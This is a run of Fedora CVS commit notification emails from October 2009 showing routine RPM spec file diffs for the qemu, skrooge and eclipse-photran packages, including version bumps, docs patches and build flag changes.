Message-ID: <20091014154553.3DCBD11C00E5@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8988

Modified Files:
	qemu.spec 
Log Message:
Fixup qemu-img description


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- qemu.spec	14 Oct 2009 15:34:00 -0000	1.141
+++ qemu.spec	14 Oct 2009 15:45:53 -0000	1.142
@@ -100,10 +100,7 @@ will install qemu-system-x86
 Summary: QEMU command line tool for manipulating disk images
 Group: Development/Tools
 %description img
-QEMU is a generic and open source processor emulator which achieves a good
-emulation speed by using dynamic translation.
-
-This package provides the command line tool for manipulating disk images
+This package provides a command line tool for manipulating disk images
 
 %package  common
 Summary: QEMU common files needed by all QEMU targets



From markmc at fedoraproject.org  Wed Oct 14 15:46:16 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Wed, 14 Oct 2009 15:46:16 +0000 (UTC)
Subject: rpms/qemu/devel qemu.spec,1.141,1.142
Message-ID: <20091014154616.599D811C00E5@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9075

Modified Files:
	qemu.spec 
Log Message:
Fixup qemu-img description


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- qemu.spec	14 Oct 2009 15:33:21 -0000	1.141
+++ qemu.spec	14 Oct 2009 15:46:15 -0000	1.142
@@ -100,10 +100,7 @@ will install qemu-system-x86
 Summary: QEMU command line tool for manipulating disk images
 Group: Development/Tools
 %description img
-QEMU is a generic and open source processor emulator which achieves a good
-emulation speed by using dynamic translation.
-
-This package provides the command line tool for manipulating disk images
+This package provides a command line tool for manipulating disk images
 
 %package  common
 Summary: QEMU common files needed by all QEMU targets



From thomasj at fedoraproject.org  Wed Oct 14 15:50:16 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Wed, 14 Oct 2009 15:50:16 +0000 (UTC)
Subject: rpms/skrooge/F-10 skrooge-0.5.2-docs.patch, NONE, 1.1 skrooge.spec, 
	1.4, 1.5
Message-ID: <20091014155016.A1F7F11C029F@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9511

Modified Files:
	skrooge.spec 
Added Files:
	skrooge-0.5.2-docs.patch 
Log Message:
Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
(HTML) docs patch, use %%find_lang --with-kde
own %%{_kde4_appsdir}/skrooge*/ dirs
%check: omit extraneous desktop-file-validate's


skrooge-0.5.2-docs.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE skrooge-0.5.2-docs.patch ---
diff -up skrooge-0.5.2/doc/CMakeLists.txt.docs skrooge-0.5.2/doc/CMakeLists.txt
--- skrooge-0.5.2/doc/CMakeLists.txt.docs	2009-10-04 09:13:16.000000000 -0500
+++ skrooge-0.5.2/doc/CMakeLists.txt	2009-10-14 09:26:30.731528095 -0500
@@ -1 +1 @@
-kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en)
+kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en SUBDIR skrooge)


Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-10/skrooge.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- skrooge.spec	8 Oct 2009 20:56:15 -0000	1.4
+++ skrooge.spec	14 Oct 2009 15:50:16 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -9,6 +9,8 @@ URL:            http://extragear.kde.org
 Source0:        http://websvn.kde.org/*checkout*/tags/skrooge/%{version}/skrooge-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+## upstream patches
+Patch100: skrooge-0.5.2-docs.patch
 
 BuildRequires:  qca2-devel
 BuildRequires:  libofx-devel
@@ -40,6 +42,8 @@ Skrooge libraries
 %prep
 %setup -q
 
+%patch100 -p1 -b .docs
+
 ## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
 chmod -x skrooge_search/skgalarmboardwidget.h
 
@@ -55,7 +59,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
-%find_lang %{name}
+%find_lang %{name} --with-kde
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -73,11 +77,7 @@ rm -f %{buildroot}%{_kde4_libdir}/kde4/p
 rm -rf %{buildroot}
 
 %check
-for i in %{buildroot}%{_kde4_datadir}/kde4/services/*desktop ;  do 
-    desktop-file-validate $i ; 
-done
 desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/skrooge.desktop
-desktop-file-validate %{buildroot}%{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 
 %post libs -p /sbin/ldconfig
 
@@ -106,29 +106,24 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
-%{_kde4_docdir}/HTML/en/doc/*
-%{_kde4_docdir}/HTML/sv/%{name}/*
-%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
-%{_kde4_appsdir}/skrooge/images/*/*
-%{_kde4_appsdir}/skrooge/resources/*
-%{_kde4_appsdir}/skrooge/theme/default.css
-%{_kde4_appsdir}/skrooge_*/*
+%{_kde4_appsdir}/skrooge*/
 %{_kde4_datadir}/kde4/services/*.desktop
 %{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 %{_kde4_datadir}/mime/packages/x-skg.xml
-%{_kde4_appsdir}/skrooge/images/splash.png
-%{_kde4_appsdir}/skrooge/skrooge.notifyrc
-%{_kde4_appsdir}/skrooge/skrooge.rc
 
 %files libs
 %defattr(-,root,root,-)
-%{_kde4_libdir}/kde4/plugins/designer/*.so*
+%{_kde4_libdir}/kde4/plugins/designer/*.so.*
 %{_kde4_libdir}/kde4/*.so
-%{_kde4_libdir}/*.so*
+%{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
+- (HTML) docs patch, use %%find_lang --with-kde
+- own %%{_kde4_appsdir}/skrooge*/ dirs
+- %check: omit extraneous desktop-file-validate's
+
 * Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
 - Changed to final 0.5.2 version
 - Bugfixes, including a nasty bug where one thinks the data is gone



From markmc at fedoraproject.org  Wed Oct 14 15:57:31 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Wed, 14 Oct 2009 15:57:31 +0000 (UTC)
Subject: rpms/qemu/devel qemu.spec,1.142,1.143
Message-ID: <20091014155731.51FD111C00E5@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12131

Modified Files:
	qemu.spec 
Log Message:
Assume --build-id is always available


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- qemu.spec	14 Oct 2009 15:46:15 -0000	1.142
+++ qemu.spec	14 Oct 2009 15:57:31 -0000	1.143
@@ -247,21 +247,9 @@ such as kvmtrace and kvm_stat.
 %patch09 -p1
 
 %build
-# systems like rhel build system does not have a recent enough linker so
-# --build-id works. this option is used fedora 8 onwards for giving info
-# to the debug packages.
-
-build_id_available() {
- echo "int main () { return 0; }" | gcc -x c -Wl,--build-id - 2>/dev/null
-}
-
-if build_id_available; then
- extraldflags="-Wl,--build-id";
- buildldflags="VL_LDFLAGS=-Wl,--build-id"
-else
- extraldflags=""
- buildldflags=""
-fi
+# --build-id option is used fedora 8 onwards for giving info to the debug packages.
+extraldflags="-Wl,--build-id";
+buildldflags="VL_LDFLAGS=-Wl,--build-id"
 
 %ifarch %{ix86} x86_64
 # sdl outputs to alsa or pulseaudio depending on system config, but it's broken (#495964)



From markmc at fedoraproject.org  Wed Oct 14 15:57:54 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Wed, 14 Oct 2009 15:57:54 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu.spec,1.142,1.143
Message-ID: <20091014155754.155F411C00E5@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12223

Modified Files:
	qemu.spec 
Log Message:
Assume --build-id is always available


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- qemu.spec	14 Oct 2009 15:45:53 -0000	1.142
+++ qemu.spec	14 Oct 2009 15:57:53 -0000	1.143
@@ -247,21 +247,9 @@ such as kvmtrace and kvm_stat.
 %patch09 -p1
 
 %build
-# systems like rhel build system does not have a recent enough linker so
-# --build-id works. this option is used fedora 8 onwards for giving info
-# to the debug packages.
-
-build_id_available() {
- echo "int main () { return 0; }" | gcc -x c -Wl,--build-id - 2>/dev/null
-}
-
-if build_id_available; then
- extraldflags="-Wl,--build-id";
- buildldflags="VL_LDFLAGS=-Wl,--build-id"
-else
- extraldflags=""
- buildldflags=""
-fi
+# --build-id option is used fedora 8 onwards for giving info to the debug packages.
+extraldflags="-Wl,--build-id";
+buildldflags="VL_LDFLAGS=-Wl,--build-id"
 
 %ifarch %{ix86} x86_64
 # sdl outputs to alsa or pulseaudio depending on system config, but it's broken (#495964)



From orion at fedoraproject.org  Wed Oct 14 16:04:42 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Wed, 14 Oct 2009 16:04:42 +0000 (UTC)
Subject: rpms/eclipse-photran/devel .cvsignore, 1.4, 1.5 eclipse-photran.spec,
	1.10, 1.11 makesource.sh, 1.2, 1.3 sources, 1.4,
	1.5 eclipse-photran-4.0.0b5-outline.patch, 1.1, NONE
Message-ID: <20091014160442.20E4C11C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/eclipse-photran/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13280

Modified Files:
	.cvsignore eclipse-photran.spec makesource.sh sources 
Removed Files:
	eclipse-photran-4.0.0b5-outline.patch 
Log Message:
* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.1.200910081739
- Update to 5.0.0 pre-release 200910081739
- Drop outline patch fixed upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	24 Feb 2009 00:00:59 -0000	1.4
+++ .cvsignore	14 Oct 2009 16:04:41 -0000	1.5
@@ -1 +1 @@
-org.eclipse.photran-v20090220_4_0_0_Beta5.tar.gz
+photran-v200910081739.tar.gz


Index: eclipse-photran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/devel/eclipse-photran.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- eclipse-photran.spec	24 Jul 2009 20:56:03 -0000	1.10
+++ eclipse-photran.spec	14 Oct 2009 16:04:41 -0000	1.11
@@ -1,5 +1,5 @@
 %define gcj_support             1
-%define major                   4
+%define major                   5
 %define minor                   0       
 %define patch                   0       
 %define majmin                  %{major}.%{minor}
@@ -8,18 +8,18 @@
 Summary:        Eclipse Fortran Development Tools (Photran) plugin
 Name:           eclipse-photran
 Version:        %{majmin}.%{patch}
-Release:        0.7.b5%{?dist}
+Release:        0.1.200910081739%{?dist}
 License:        EPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/photran
 Requires:       eclipse-platform
 
 # The following tarball was generated by the makesource.sh script
-Source0: org.eclipse.photran-v20090220_4_0_0_Beta5.tar.gz
+Source0: photran-v200910081739.tar.gz
 Source1: makesource.sh
-Patch0:  eclipse-photran-4.0.0b5-outline.patch
-BuildRequires: eclipse-pde
-BuildRequires: eclipse-cdt >= 4.0.1
+BuildRequires: eclipse-pde >= 1:3.5
+BuildRequires: eclipse-cdt >= 1:6.0
+BuildRequires: eclipse-rse >= 3.1
 %if %{gcj_support}
 BuildRequires:  gcc-java >= 4.0.2
 BuildRequires:  java-gcj-compat-devel >= 1.0.64
@@ -30,7 +30,7 @@ BuildRequires:  java-devel >= 1.4.2
 %endif
 
 Requires:       gdb make gcc-gfortran
-Requires:       eclipse-platform >= 1:3.3.0
+Requires:       eclipse-platform >= 1:3.5.0
 
 # Currently, upstream CDT only supports building on the platforms listed here.
 ExclusiveArch: %{ix86} x86_64 ppc ia64
@@ -61,8 +61,7 @@ Requires:       %{name} = %{version}-%{r
 
 
 %prep
-%setup -q -n org.eclipse.photran-v20090220_4_0_0_Beta5
-%patch0 -p1 -b .outline
+%setup -q -n photran-v200910081739
 # Fixup to use 1.5 source level
 find -name \*.prefs | xargs sed -i -e 's/source=1.3/source=1.5/'
 # This prevents the intel feature from building
@@ -72,22 +71,21 @@ sed -i -e 's/os="linux"//' org.eclipse.p
 %build
 export JAVA_HOME=%{java_home}
 export PATH=%{java_bin}:/usr/bin:$PATH
-for feature in org.eclipse.photran_feature org.eclipse.photran.intel \
-               org.eclipse.photran.vpg_feature org.eclipse.photran.xlf_feature
+for feature in org.eclipse.photran org.eclipse.photran.intel org.eclipse.photran.xlf
 do
-  %{eclipse_base}/buildscripts/pdebuild -d cdt \
+  %{eclipse_base}/buildscripts/pdebuild -d "cdt rse" \
     -f $feature -a "-DjavacSource=1.5 -DjavacTarget=1.5" 2>&1 | tee ${feature}.log
 done
 
 
 %install
 rm -rf ${RPM_BUILD_ROOT}
-for feature in photran_feature photran.vpg_feature photran.intel photran.xlf_feature
+for feature in org.eclipse.photran org.eclipse.photran.intel org.eclipse.photran.xlf
 do
   install -d -m755 ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}
   
   unzip -o -d ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature} \
-              build/rpmBuild/org.eclipse.${feature}.zip
+              build/rpmBuild/${feature}.zip
   mv ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}/eclipse/* \
      ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}
   rmdir ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}/eclipse
@@ -112,22 +110,25 @@ rm -rf ${RPM_BUILD_ROOT}
 %files
 %defattr(-,root,root,-)
 %doc org.eclipse.photran-feature/epl-v10.html
-%{eclipse_base}/dropins/photran_feature
-%{eclipse_base}/dropins/photran.vpg_feature
+%{eclipse_base}/dropins/org.eclipse.photran
 %if %{gcj_support}
 %{_libdir}/gcj/%{name}
 %endif
 
 %files intel
 %defattr(-,root,root,-)
-%{eclipse_base}/dropins/photran.intel
+%{eclipse_base}/dropins/org.eclipse.photran.intel
 
 %files xlf
 %defattr(-,root,root,-)
-%{eclipse_base}/dropins/photran.xlf_feature
+%{eclipse_base}/dropins/org.eclipse.photran.xlf
 
 
 %changelog
+* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.1.200910081739
+- Update to 5.0.0 pre-release 200910081739
+- Drop outline patch fixed upstream
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.0-0.7.b5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: makesource.sh
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/devel/makesource.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- makesource.sh	24 Feb 2009 00:00:59 -0000	1.2
+++ makesource.sh	14 Oct 2009 16:04:41 -0000	1.3
@@ -1,15 +1,6 @@
 #!/bin/sh
 
-rel=v20090220_4_0_0_Beta5
-rm -rf org.eclipse.photran-$rel
-cvs -d :pserver:anonymous at dev.eclipse.org:/cvsroot/technology export -r $rel -d org.eclipse.photran-$rel org.eclipse.photran
-
-#Cleanup deprecated stuff
-pushd org.eclipse.photran-$rel
-for deprecated in */THIS_*_DEPRECATED
-do
-  rm -rf `dirname $deprecated`
-done
-popd
-
-tar czf org.eclipse.photran-$rel.tar.gz org.eclipse.photran-$rel
+rel=v200910081739
+rm -rf photran-$rel
+cvs -d :pserver:anonymous at dev.eclipse.org:/cvsroot/tools -z3 export -r $rel -d photran-$rel org.eclipse.ptp/photran
+tar czf photran-$rel.tar.gz photran-$rel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	24 Feb 2009 00:00:59 -0000	1.4
+++ sources	14 Oct 2009 16:04:41 -0000	1.5
@@ -1 +1 @@
-deb885704962b8d5815c27595e47d526  org.eclipse.photran-v20090220_4_0_0_Beta5.tar.gz
+7dd0e71953daaaa6fddccb68d15f2504  photran-v200910081739.tar.gz


--- eclipse-photran-4.0.0b5-outline.patch DELETED ---



From orion at fedoraproject.org  Wed Oct 14 16:06:19 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Wed, 14 Oct 2009 16:06:19 +0000 (UTC)
Subject: rpms/eclipse-photran/F-12 import.log, NONE, 1.1 .cvsignore, 1.4,
	1.5 eclipse-photran.spec, 1.10, 1.11 makesource.sh, 1.2,
	1.3 sources, 1.4, 1.5 eclipse-photran-4.0.0b5-outline.patch, 1.1, NONE
Message-ID: <20091014160619.B225E11C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/eclipse-photran/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13655/F-12

Modified Files:
	.cvsignore eclipse-photran.spec makesource.sh sources 
Added Files:
	import.log 
Removed Files:
	eclipse-photran-4.0.0b5-outline.patch 
Log Message:
Sync from devel - 5.0.0 beta


--- NEW FILE import.log ---
eclipse-photran-5_0_0-0_1_200910081739_fc13:F-12:eclipse-photran-5.0.0-0.1.200910081739.fc13.src.rpm:1255536347


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	24 Feb 2009 00:00:59 -0000	1.4
+++ .cvsignore	14 Oct 2009 16:06:19 -0000	1.5
@@ -1 +1 @@
-org.eclipse.photran-v20090220_4_0_0_Beta5.tar.gz
+photran-v200910081739.tar.gz


Index: eclipse-photran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/F-12/eclipse-photran.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- eclipse-photran.spec	24 Jul 2009 20:56:03 -0000	1.10
+++ eclipse-photran.spec	14 Oct 2009 16:06:19 -0000	1.11
@@ -1,5 +1,5 @@
 %define gcj_support             1
-%define major                   4
+%define major                   5
 %define minor                   0       
 %define patch                   0       
 %define majmin                  %{major}.%{minor}
@@ -8,18 +8,18 @@
 Summary:        Eclipse Fortran Development Tools (Photran) plugin
 Name:           eclipse-photran
 Version:        %{majmin}.%{patch}
-Release:        0.7.b5%{?dist}
+Release:        0.1.200910081739%{?dist}
 License:        EPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/photran
 Requires:       eclipse-platform
 
 # The following tarball was generated by the makesource.sh script
-Source0: org.eclipse.photran-v20090220_4_0_0_Beta5.tar.gz
+Source0: photran-v200910081739.tar.gz
 Source1: makesource.sh
-Patch0:  eclipse-photran-4.0.0b5-outline.patch
-BuildRequires: eclipse-pde
-BuildRequires: eclipse-cdt >= 4.0.1
+BuildRequires: eclipse-pde >= 1:3.5
+BuildRequires: eclipse-cdt >= 1:6.0
+BuildRequires: eclipse-rse >= 3.1
 %if %{gcj_support}
 BuildRequires:  gcc-java >= 4.0.2
 BuildRequires:  java-gcj-compat-devel >= 1.0.64
@@ -30,7 +30,7 @@ BuildRequires:  java-devel >= 1.4.2
 %endif
 
 Requires:       gdb make gcc-gfortran
-Requires:       eclipse-platform >= 1:3.3.0
+Requires:       eclipse-platform >= 1:3.5.0
 
 # Currently, upstream CDT only supports building on the platforms listed here.
 ExclusiveArch: %{ix86} x86_64 ppc ia64
@@ -61,8 +61,7 @@ Requires:       %{name} = %{version}-%{r
 
 
 %prep
-%setup -q -n org.eclipse.photran-v20090220_4_0_0_Beta5
-%patch0 -p1 -b .outline
+%setup -q -n photran-v200910081739
 # Fixup to use 1.5 source level
 find -name \*.prefs | xargs sed -i -e 's/source=1.3/source=1.5/'
 # This prevents the intel feature from building
@@ -72,22 +71,21 @@ sed -i -e 's/os="linux"//' org.eclipse.p
 %build
 export JAVA_HOME=%{java_home}
 export PATH=%{java_bin}:/usr/bin:$PATH
-for feature in org.eclipse.photran_feature org.eclipse.photran.intel \
-               org.eclipse.photran.vpg_feature org.eclipse.photran.xlf_feature
+for feature in org.eclipse.photran org.eclipse.photran.intel org.eclipse.photran.xlf
 do
-  %{eclipse_base}/buildscripts/pdebuild -d cdt \
+  %{eclipse_base}/buildscripts/pdebuild -d "cdt rse" \
     -f $feature -a "-DjavacSource=1.5 -DjavacTarget=1.5" 2>&1 | tee ${feature}.log
 done
 
 
 %install
 rm -rf ${RPM_BUILD_ROOT}
-for feature in photran_feature photran.vpg_feature photran.intel photran.xlf_feature
+for feature in org.eclipse.photran org.eclipse.photran.intel org.eclipse.photran.xlf
 do
   install -d -m755 ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}
   
   unzip -o -d ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature} \
-              build/rpmBuild/org.eclipse.${feature}.zip
+              build/rpmBuild/${feature}.zip
   mv ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}/eclipse/* \
      ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}
   rmdir ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}/eclipse
@@ -112,22 +110,25 @@ rm -rf ${RPM_BUILD_ROOT}
 %files
 %defattr(-,root,root,-)
 %doc org.eclipse.photran-feature/epl-v10.html
-%{eclipse_base}/dropins/photran_feature
-%{eclipse_base}/dropins/photran.vpg_feature
+%{eclipse_base}/dropins/org.eclipse.photran
 %if %{gcj_support}
 %{_libdir}/gcj/%{name}
 %endif
 
 %files intel
 %defattr(-,root,root,-)
-%{eclipse_base}/dropins/photran.intel
+%{eclipse_base}/dropins/org.eclipse.photran.intel
 
 %files xlf
 %defattr(-,root,root,-)
-%{eclipse_base}/dropins/photran.xlf_feature
+%{eclipse_base}/dropins/org.eclipse.photran.xlf
 
 
 %changelog
+* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.1.200910081739
+- Update to 5.0.0 pre-release 200910081739
+- Drop outline patch fixed upstream
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.0-0.7.b5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: makesource.sh
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/F-12/makesource.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- makesource.sh	24 Feb 2009 00:00:59 -0000	1.2
+++ makesource.sh	14 Oct 2009 16:06:19 -0000	1.3
@@ -1,15 +1,6 @@
 #!/bin/sh
 
-rel=v20090220_4_0_0_Beta5
-rm -rf org.eclipse.photran-$rel
-cvs -d :pserver:anonymous at dev.eclipse.org:/cvsroot/technology export -r $rel -d org.eclipse.photran-$rel org.eclipse.photran
-
-#Cleanup deprecated stuff
-pushd org.eclipse.photran-$rel
-for deprecated in */THIS_*_DEPRECATED
-do
-  rm -rf `dirname $deprecated`
-done
-popd
-
-tar czf org.eclipse.photran-$rel.tar.gz org.eclipse.photran-$rel
+rel=v200910081739
+rm -rf photran-$rel
+cvs -d :pserver:anonymous at dev.eclipse.org:/cvsroot/tools -z3 export -r $rel -d photran-$rel org.eclipse.ptp/photran
+tar czf photran-$rel.tar.gz photran-$rel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	24 Feb 2009 00:00:59 -0000	1.4
+++ sources	14 Oct 2009 16:06:19 -0000	1.5
@@ -1 +1 @@
-deb885704962b8d5815c27595e47d526  org.eclipse.photran-v20090220_4_0_0_Beta5.tar.gz
+7dd0e71953daaaa6fddccb68d15f2504  photran-v200910081739.tar.gz


--- eclipse-photran-4.0.0b5-outline.patch DELETED ---



From thomasj at fedoraproject.org  Wed Oct 14 16:13:20 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Wed, 14 Oct 2009 16:13:20 +0000 (UTC)
Subject: rpms/skrooge/F-12 skrooge.spec,1.4,1.5
Message-ID: <20091014161320.839E011C00E5@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15108

Modified Files:
	skrooge.spec 
Log Message:
Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
(HTML) docs patch, use %%find_lang --with-kde
own %%{_kde4_appsdir}/skrooge*/ dirs
%check: omit extraneous desktop-file-validate's
CV: ----------------------------------------------------------------------



Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-12/skrooge.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- skrooge.spec	8 Oct 2009 20:07:28 -0000	1.4
+++ skrooge.spec	14 Oct 2009 16:13:20 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -9,6 +9,8 @@ URL:            http://extragear.kde.org
 Source0:        http://websvn.kde.org/*checkout*/tags/skrooge/%{version}/skrooge-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+## upstream patches
+Patch100: skrooge-0.5.2-docs.patch
 
 BuildRequires:  qca2-devel
 BuildRequires:  libofx-devel
@@ -40,6 +42,8 @@ Skrooge libraries
 %prep
 %setup -q
 
+%patch100 -p1 -b .docs
+
 ## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
 chmod -x skrooge_search/skgalarmboardwidget.h
 
@@ -55,7 +59,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
-%find_lang %{name}
+%find_lang %{name} --with-kde
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -73,11 +77,7 @@ rm -f %{buildroot}%{_kde4_libdir}/kde4/p
 rm -rf %{buildroot}
 
 %check
-for i in %{buildroot}%{_kde4_datadir}/kde4/services/*desktop ;  do 
-    desktop-file-validate $i ; 
-done
 desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/skrooge.desktop
-desktop-file-validate %{buildroot}%{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 
 %post libs -p /sbin/ldconfig
 
@@ -106,29 +106,24 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
-%{_kde4_docdir}/HTML/en/doc/*
-%{_kde4_docdir}/HTML/sv/%{name}/*
-%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
-%{_kde4_appsdir}/skrooge/images/*/*
-%{_kde4_appsdir}/skrooge/resources/*
-%{_kde4_appsdir}/skrooge/theme/default.css
-%{_kde4_appsdir}/skrooge_*/*
+%{_kde4_appsdir}/skrooge*/
 %{_kde4_datadir}/kde4/services/*.desktop
 %{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 %{_kde4_datadir}/mime/packages/x-skg.xml
-%{_kde4_appsdir}/skrooge/images/splash.png
-%{_kde4_appsdir}/skrooge/skrooge.notifyrc
-%{_kde4_appsdir}/skrooge/skrooge.rc
 
 %files libs
 %defattr(-,root,root,-)
-%{_kde4_libdir}/kde4/plugins/designer/*.so*
+%{_kde4_libdir}/kde4/plugins/designer/*.so.*
 %{_kde4_libdir}/kde4/*.so
-%{_kde4_libdir}/*.so*
